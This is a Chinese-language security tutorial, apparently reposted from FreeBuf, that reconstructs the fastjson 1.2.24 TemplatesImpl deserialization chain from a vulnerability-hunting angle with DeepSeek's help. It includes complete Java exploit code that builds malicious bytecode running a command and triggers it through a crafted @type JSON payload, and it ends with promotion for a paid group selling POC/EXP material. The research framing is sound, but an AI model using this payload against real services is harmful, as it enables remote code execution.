大数跨境
0
0

借助DeepSeek从漏洞挖掘的角度分析fastjson反序列化漏洞

借助DeepSeek从漏洞挖掘的角度分析fastjson反序列化漏洞 Tina讲出海
2025-10-21
5
导读:扫码加圈子获内部资料网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、


扫码加圈子

获内部资料



网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。


文章作者:fru1ts

文章来源:https://www.freebuf.com/articles/web/447427.html




 借助DeepSeek从漏洞挖掘的角度分析fastjson反序列化漏洞


研究动机

对于fastjson反序列化漏洞的研究已经是一个老生常谈的问题,但是网上对这个漏洞的分析都是已知这条链然后调试跟进正向分析。这对于反序列化利用连挖掘的学习并不是很有帮助,本文希望通过一种逆向思维,从挖漏洞的角度来还原整条反序列化链,期间会借助DeekSeek帮忙审计来提高效率。

漏洞分析

本文以最初的fastjson反序列化链进行分析,影响版本是1.2.22-1.2.24,更高的版本就是在该版本的利用链基础上做一些限制,只需要正向调试根据限制做相应的绕过即可。

环境搭建

依赖项

<dependencies>        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.28.0-GA</version>        </dependency>        <dependency>            <groupId>com.fasterxml.jackson.core</groupId>            <artifactId>jackson-databind</artifactId>            <version>2.12.0</version>        </dependency>        <dependency>            <groupId>org.springframework</groupId>            <artifactId>spring-aop</artifactId>            <version>5.3.23</version> <!-- 可替换为你的 Spring 版本 -->        </dependency>        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.24</version>        </dependency></dependencies>


分析过程

首先需要找到一个sink点。这个sink点的挖掘就得靠经验,或者工具去找。因为这里是做复现,所以我们从一个已知的sink点method.invoke开始。

图 1

这里有很多的method.invoke(Object),而且可以确定method可控,Object则是通过传参。所以最终是只能反射调用无参方法或者走else分支传一个参数。那就要看看Object能不能控制。

也就是看看谁调用了FieldDeserializer.setValue。由于FieldDeserializer是抽象类,所以得先看看继承自他的实现类。图 2

ResolveFieldDeserializer重写了setValue里面没有可以利用的,所以不可以;ArrayListTypeFieldDeserializer找不到调用他的类。所以看DefaultFieldDeserializer

图 3

Object的值也是传递进来的,所以需要再往前看调用:图 4

这两个分析一下可以发现只能走其中的一个,而且都是要走JavaBeanDeserializerdeserialze。因为我们希望走到的是DefaultFieldDeserializerparseField。正好在773行的fieldDeserializer.parseField所在方法parseField有实例化DefaultFieldDeserializer图 5

这里的Object也是传参传进来的,那就继续往前看调用。

图 6

这里的Object也是有可能由我们控制的,只要能够进入我们控制的分支。

首先想到的是TemplatesImpl利用链。我们可以让methodgetOutputPropertites,让ObjectTemplatesImpl对象。

先测一下这段能不能行得通,先让DeepSeek帮我们写个demo来实例化JavaBeanDeserializer并调用deserialze来调试。

package fastjsonTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.DefaultJSONParser;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;import com.alibaba.fastjson.util.TypeUtils;import java.lang.reflect.Type;public class JavaBeanDeserializerDemo {    public static void main(String[] args) {        // 1. 准备JSON字符串        String json = "{\"name\":\"张三\",\"age\":29}";        // 2. 创建解析器        DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());        // 3. 创建JavaBeanDeserializer实例        JavaBeanDeserializer deserializer = new JavaBeanDeserializer(            ParserConfig.getGlobalInstance(),            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class        );        // 4. 调用deserialze方法        Object result = deserializer.deserialze(            parser,        // 解析器            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,    // 目标类型            null          // 字段名(这里不需要)            // 已有对象(用于更新场景)            // 特性标志位        );        // 5. 关闭解析器(重要!)        parser.close();    }}


这样可以走到图6,但是进去后就会发现fieldDeserializernull图 7

看看key要传什么才能让smartMatch不返回空,跟进去把代码丢给DeepSeek。图 8

DeepSeek给的答案如下:

  1. 直接字段名匹配

// 完全匹配(区分大小写)key.equals(fieldInfo.name) // 或忽略大小写匹配key.equalsIgnoreCase(fieldInfo.name)

示例:若目标类有字段String userName,则以下key可匹配:

  • "userName"(完全匹配)

  • "USERNAME"(忽略大小写)

  1. Boolean 字段的is前缀匹配

// 规则:key以"is"开头 + 字段是boolean类型 + 剩余部分匹配字段名key.startsWith("is") && (fieldClass == boolean.class || fieldClass == Boolean.class)&& key.substring(2).equalsIgnoreCase(fieldInfo.name)

示例:若目标类有字段boolean active,则以下key可匹配:

  • "isActive"→ 匹配active字段

  • "ISACTIVE"→ 忽略大小写

  1. 蛇形/烤串命名转换

// 规则:key包含'_'或'-',去除后匹配字段名key.replaceAll("_|-", "").equalsIgnoreCase(fieldInfo.name)

示例:若目标类有字段String createdAt,则以下key可匹配:

  • "created_at"(蛇形)

  • "created-at"(烤串)

  1. 备用名匹配(alternateName)

// 规则:检查字段是否通过注解声明了备用名fieldDeser.fieldInfo.alternateName(key)

示例:若字段通过@JSONField(name = {"username", "loginName"})声明,则以下key可匹配:

  • "username"

  • "loginName"

调试可以发现fieldInfo.name的值来自sortedFieldDeserializers,只有3个:outputPropertiesoutputPropertiesuRIResolver

参照方法3可以把键名设置为TemplatesImpl的属性_outputProperties

package fastjsonTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.DefaultJSONParser;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;import com.alibaba.fastjson.util.TypeUtils;import java.lang.reflect.Type;public class JavaBeanDeserializerDemo {    public static void main(String[] args) {        // 1. 准备JSON字符串        String json = "{\"_outputProperties\":\"张三\",\"age\":29}";        // 2. 创建解析器        DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());        // 3. 创建JavaBeanDeserializer实例        JavaBeanDeserializer deserializer = new JavaBeanDeserializer(            ParserConfig.getGlobalInstance(),            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class        );        // 4. 调用deserialze方法        Object result = deserializer.deserialze(            parser,        // 解析器            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,    // 目标类型            null          // 字段名(这里不需要)            // 已有对象(用于更新场景)            // 特性标志位        );        // 5. 关闭解析器(重要!)        parser.close();    }}


再次运行代码,发现报错:图 9

把这个报错丢给DeepSeek帮我们解析了这个错误:

位置(pos)
字符
说明
0
{
开始对象
1
"
字段名开始
2-18
_outputProperties
字段名(占17个字符)
19
"
字段名结束
20
:
键值分隔符
21
"
值开始(字符串)
22-23
中文字符(UTF-8占3字节,但Java字符计数为1)
24-25
中文字符(报错位置)
26
"
值结束
27
,
字段分隔符
...
...
剩余部分

第25个字符是张三这个位置,希望是{,所以改成

String json = "{\"_outputProperties\":{},\"age\":29}";

运行发现已经能够执行到TemplatesImplgetOutputProperties

图 10

图 11

可以发现就差给这些属性赋值就可以加载恶意类命令执行了在json字符串直接添加:

String json = "{\"_outputProperties\":{},\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"]}";

结果发现压根没传进去!图 12

调试发现图3的SetValue,如果key处理不返回null就会看有没有这个属性的getter或者setter方法,有就触发,null的话可以构造使其将value存到对象的field中。因为_outputProperties写在前面先处理了,然后_name_tfactory_bytecodes还没处理,所以都没有给TemplatesImpl的属性赋值就调用,因此都是null而不能加载恶意字节码。

所以换个顺序:

String json = "{\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";

并且要能够走到设置值的代码中,也就是走到SetValue,因为如果smartMatch("_name");smartMatch("_tfactory");...这些返回都是null,所以我们需要走到下面设置fieldDeserializer的地方。

图 13

所以至少要过这个if:图 14

图 15

发现mask131072不会变,那几只能改this.features,这里一直是989导致989 & 131072=0,而989是创建JSONScanner时传入的。

图 16

因为我们的是通过这个构造函数传入的,所以我可以通过下面features可控的构造函数传入。

因为131072 & 131072 =131072,所以就传个131072。

DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);

这样就可以传进去了,但是又报错了。

图 17

46是_bytecodes这里出问题,问下DeepSeek。图 18

图 19

而且调试也可以发现对于[]里面用""包裹的会进行base64解码,所以对bytecodes base64编码一下。图 20

大功告成。

package fastjsonTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.DefaultJSONParser;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;import com.alibaba.fastjson.util.TypeUtils;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Type;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class JavaBeanDeserializerDemo {    public static void main(String[] args) throws Exception {        byte[] bytes=getEvilClass("Runtime.getRuntime().exec(\"calc\");");        String code= Base64.getEncoder().encodeToString(bytes);        // 1. 准备JSON字符串        String json = "{\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";        // 2. 创建解析器        DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);        // 3. 创建JavaBeanDeserializer实例        JavaBeanDeserializer deserializer = new JavaBeanDeserializer(                ParserConfig.getGlobalInstance(),                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class        );        // 4. 调用deserialze方法        Object result = deserializer.deserialze(                parser,        // 解析器                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,    // 目标类型                null          // 字段名(这里不需要)                // 已有对象(用于更新场景)                // 特性标志位        );        // 5. 关闭解析器(重要!)        parser.close();    }    public static byte[] getEvilClass(String cmd) throws Exception {        //获取恶意类字节码        ClassPool pool = ClassPool.getDefault();        CtClass ctClass = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        ctClass.setSuperclass(superClass);        CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);        ctcconstructor.setBody(cmd);        ctClass.addConstructor(ctcconstructor);        ctClass.getClassFile().setMajorVersion(49);        byte[] bytes = ctClass.toBytecode();        ctClass.writeFile(); //写入文件        byte[] code= Files.readAllBytes(Paths.get("a.class"));//从文件读取        return code;    }}


接下来就是,只需要找一下JavaBeanDeserializer的调用链即可,并且把

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl传给JavaBeanDeserializer

图 21

ParserConfig

图 22

createJavaBeanDeserializer调用,createJavaBeanDeserializergetDeserializer调用:图 23

DefaultJSONParserObject parseObject(final Map object, Object fieldName)调用了getDeserializer

图 24

图 25

这里需要有一个健@type,并且里面放com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以传到JavaBeanDeserializer。因为fastjson的处理顺序是从前往后,因为需要现有一个类才能进行属性赋值,所以@type要放到最前面。

DefaultJSONParserparse(Object fieldName)调用了Object parseObject(final Map object, Object fieldName)

图 26

JavaObjectDeserializerdeserialze中调用了DefaultJSONParserparse(Object fieldName)

图 27

就这样一步步往上找,接下来找DefaultJSONParserparseObject,然后是JSONparseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features)

图 28

就直接用这几个就可以,调到这里是因为fastjson常用的用法就是用JSONparserObject

所以最后改成:

package fastjsonTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.DefaultJSONParser;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;import com.alibaba.fastjson.util.TypeUtils;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Type;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class JavaBeanDeserializerDemo {    public static void main(String[] args) throws Exception {        byte[] bytes=getEvilClass("Runtime.getRuntime().exec(\"calc\");");        String code= Base64.getEncoder().encodeToString(bytes);        // 1. 准备JSON字符串        String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";        //        // 2. 创建解析器        //        DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);        //        //        // 3. 创建JavaBeanDeserializer实例        //        JavaBeanDeserializer deserializer = new JavaBeanDeserializer(        //                ParserConfig.getGlobalInstance(),        //                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,        //                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class        //        );        //        //        //        // 4. 调用deserialze方法        //        Object result = deserializer.deserialze(        //                parser,        // 解析器        //                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,    // 目标类型        //                null          // 字段名(这里不需要)        //                // 已有对象(用于更新场景)        //                // 特性标志位        //        );        //        //        //        // 5. 关闭解析器(重要!)        //        parser.close();        JSONObject jsonObject = JSON.parseObject(json, JSONObject.class,131072);    }    public static byte[] getEvilClass(String cmd) throws Exception {        //获取恶意类字节码        ClassPool pool = ClassPool.getDefault();        CtClass ctClass = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        ctClass.setSuperclass(superClass);        CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);        ctcconstructor.setBody(cmd);        ctClass.addConstructor(ctcconstructor);        ctClass.getClassFile().setMajorVersion(49);        byte[] bytes = ctClass.toBytecode();        ctClass.writeFile(); //写入文件        byte[] code= Files.readAllBytes(Paths.get("a.class"));//从文件读取        return code;    }}


堆栈调用如下:

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:1076, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:1081, DefaultJSONParser (com.alibaba.fastjson.parser)deserialze:28, MapDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:611, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:289, JSON (com.alibaba.fastjson)main:53, JavaBeanDeserializerDemo (fastjsonTest)



内部小圈子详情介绍


我们是神农安全点赞 + 在看 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。



内部圈子介绍




圈子专注于更新src/红蓝攻防相关:

1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目(一起挣钱)8、不定期有工作招聘内推(工作/护网内推)9、送全国职业技能大赛环境+WP解析(比赛拿奖)10、十个专栏会持续更新~提前续费有优惠,好用不贵很实惠11、每日内部资料分享,内部圈子资料1000+12、联系圈主获取:内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX:routing_love,技术交流+疑问解决



内部圈子专栏介绍

知识星球内部共享资料截屏详情如下

(只要没有特殊情况,每天都保持更新)


知识星球——神农安全

星球现价 ¥50元

如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌

星球人数少于1400人 50元/年

星球人数少于1600人 65元/年

(新人优惠卷20,扫码或者私信我即可领取)

欢迎加入星球一起交流,券后价仅50元!!! 即将满1400人涨价
长期更新,更多的0day/1day漏洞POC/EXP



内部知识库--(持续更新中)


知识库部分大纲目录如下:

知识库跟知识星球联动,基本上每天保持更新,满足圈友的需求


知识库和知识星球有师傅们关注的EDUSRCCNVD相关内容(内部资料)


还有网上流出来的各种SRC/CTF等课程视频

量大管饱,扫描下面的知识星球二维码加入即可


不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞?

直接加入我们小圈子知识星球+内部圈子交流群+知识库

快来吧!!

图片
图片


神农安全知识库内部配置很多内部工具和资料💾玄机靶场邀请码+EDUSRC邀请码等等


快要护网来临,是不是需要护网面试题汇总问题+答案(超级详细🔎)


最后,师傅们也是希望找个好工作,那么常见的渗透测试/安服工程师/驻场面试题目,你值得拥有!!!


内部小圈子——圈友反馈良心价格



神农安全公开交流群

有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)

  
 

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.






图片

往期回顾

图片

图片

手把手js逆向断点调试&js逆向前端加密对抗&企业SRC实战分享

图片

浅谈src漏洞挖掘中容易出洞的几种姿势

图片

HVV护网行动 | 分享最近攻防演练HVV漏洞复盘

图片

攻防演练|分享最近一次攻防演练RTSP奇特之旅

图片

JS漏洞挖掘|分享使用FindSomething联动的挖掘思路

图片

渗透测试 | 从jeecg接口泄露到任意管理员用户接管+SQL注入漏洞

图片

分享SRC中后台登录处站点的漏洞挖掘技巧

图片

企业SRC支付漏洞&EDUSRC&众测挖掘思路技巧操作分享

图片

渗透测试 | 分享某次项目上的渗透测试漏洞复盘

图片

【宝典】分享云安全浪潮src漏洞挖掘技巧

图片

实战SRC挖掘|微信小程序渗透漏洞复盘

图片

综合资产测绘 | 手把手带你搞定信息收集

图片

【宝典】针对若依系统nday的常见各种姿势利用


【声明】内容源于网络
0
0
Tina讲出海
跨境分享间 | 每日提供跨境资讯
内容 47307
粉丝 1
Tina讲出海 跨境分享间 | 每日提供跨境资讯
总阅读249.5k
粉丝1
内容47.3k